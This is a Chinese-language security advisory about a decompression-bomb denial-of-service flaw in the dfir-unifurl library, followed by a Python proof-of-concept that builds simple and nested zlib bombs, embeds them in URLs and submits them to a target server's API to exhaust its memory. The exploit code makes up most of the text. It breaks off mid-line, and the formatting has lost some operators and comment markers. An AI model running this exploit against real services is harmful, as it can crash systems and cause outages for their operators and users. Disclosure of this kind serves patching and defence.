漏洞概述 dfir-unifurl 库中的 模块存在漏洞。该模块在调用 进行解压时,未设置最大输出大小限制( 参数缺失)。攻击者可构造一个极小的、高度压缩的恶意负载,解压后会膨胀为巨大的数据量,导致服务器内存耗尽,从而引发拒绝服务(DoS)攻击。 影响范围 受影响版本: 修复版本: 无(None) CVSS: 未知(No known CVE) 弱点分类: CWE-400 (内存分配问题), CWE-409 (易受攻击的组件) 影响: 远程、未授权的攻击者可导致高内存使用并可能使服务崩溃。 修复方案 1. 限制解压大小: 在调用 时添加 参数限制解压后的最大大小。例如: 2. 流式解压监控: 使用流式解压缩并手动监控解压后的总大小,一旦超过阈值即抛出异常。 POC 代码 ```python #!/usr/bin/env python3 Unifurl Decompression Bomb Proof of Concept This PoC demonstrates a Denial of Service vulnerability in Unifurl's compressed data parsing. The zlib.decompress() call has no size limits, allowing an attacker to submit small payloads that expand to gigabytes. Vulnerability location: parse_compressed.py:81-82: inflated_bytes = zlib.decompress(decoded) No bufsize parameter Attack Impact: Memory exhaustion Service crash Resource consumption (cloud cost attacks) Usage: python poc_decompression_bomb.py [--target URL] [--size SIZE_MB] import argparse import base64 import os import sys import zlib import requests import time def create_compression_bomb(target_size_mb: int = 100) -> bytes: """ Create a compression bomb - small compressed data that expands to target_size_mb. Compression ratio for zeros can be ~1000:1 or better. A 100KB payload can expand to ~100MB. Create highly compressible data (all zeros). target_bytes = target_size_mb 1024 1024 uncompressed = b'\x00' target_bytes Compress with maximum compression compressed = zlib.compress(uncompressed, 9) compression_ratio = len(uncompressed) / len(compressed) print(f"[] Created compression bomb:") print(f" Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)") print(f" Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)") print(f" Compression ratio: {compression_ratio:.0f}:1") return compressed def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes: """ Create a nested compression bomb (zip bomb style). Each level multiplies the final size. Warning: This can create VERY large expansions. 3 levels with 10MB base = 10^3 = 1000 5 levels with 10MB base = 10^5 = 10000 MB Start with base payload data = b'\x00' (base_size_mb 1024 1024) for level in range(levels): data = zlib.compress(data, 9) print(f" Level {level + 1}: {len(data):,} bytes") theoretical_size_mb = (base_size_mb (1000 levels)) Rough estimate print(f"[] Theoretical expanded size: {theoretical_size_mb} MB") return data def create_recursive_quine_bomb() -> bytes: """ Create a recursive decompression scenario. When decompressed, the output is valid zlib that can be decompressed again. This exploits any recursive decompression logic. This is a simplified version - real quine bombs are more complex. The concept: output when decompressed is also valid compressed data. Create a pattern that when decompressed resembles compressed data. This is primarily theoretical for this vulnerability. base = b'\x00' (8 1000 1000) Fake zlib header + zeros return zlib.compress(base 1000, 9) def encode_for_unifurl(compressed: bytes) -> str: """ Encode compressed data as base64 for URL inclusion. Unifurl's parse_compressed.py will: 1. Detect base64 pattern 2. Decode base64 3. Attempt zlib.decompress() without size limit. """ return base64.b64encode(compressed).decode('ascii') def create_malicious_url(payload: str) -> str: """ Create a URL containing the bomb payload. Multiple injection points are possible. As a query parameter value return f"https://example.com/page?data={payload}" def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict: """ Submit bomb to Unifurl and monitor for DoS indicators. """ api_url = f"{target_url}/json/visjs" params = { 'url': payload_url } result = { 'submitted': True, 'timeout': False, 'error': None, 'response_time': 0, 'memory_exhaustion_likely': False } try: start = time.time() response = requests.get(api_url, params=params, timeout=timeout) result['response_time'] = time.time() - start result['status_code'] = response.status_code Check for error responses indicating resource issues if response.status_code == 500: result['error'] = "Server error - possible memory exhaustion" result['memory_exhaustion_likely'] = True elif response.status_code == 503: result['error'] = "Service unavailable - DoS successful" result['memory_exhaustion_likely'] = True except requests.exceptions.Timeout: result['error'] = "Request timed out after {timeout}s - possible DoS" result['timeout'] = True result['memory_exhaustion_likely'] = True except requests.exceptions.ConnectionError as e: result['error'] = f"Connection error: {e} - server may have crashed" result['memory_exhaustion_likely'] = True except Exception as e: result['error'] = str(e) return result def main(): parser = argparse.ArgumentParser(description='Unifurl Decompression Bomb PoC') parser.add_argument('--target', default='http://localhost:5000', help='Target Unifurl instance URL') parser.add_argument('--size', type=int, default=100, help='Compressed bomb size in MB') parser.add_argument('--nested', type=in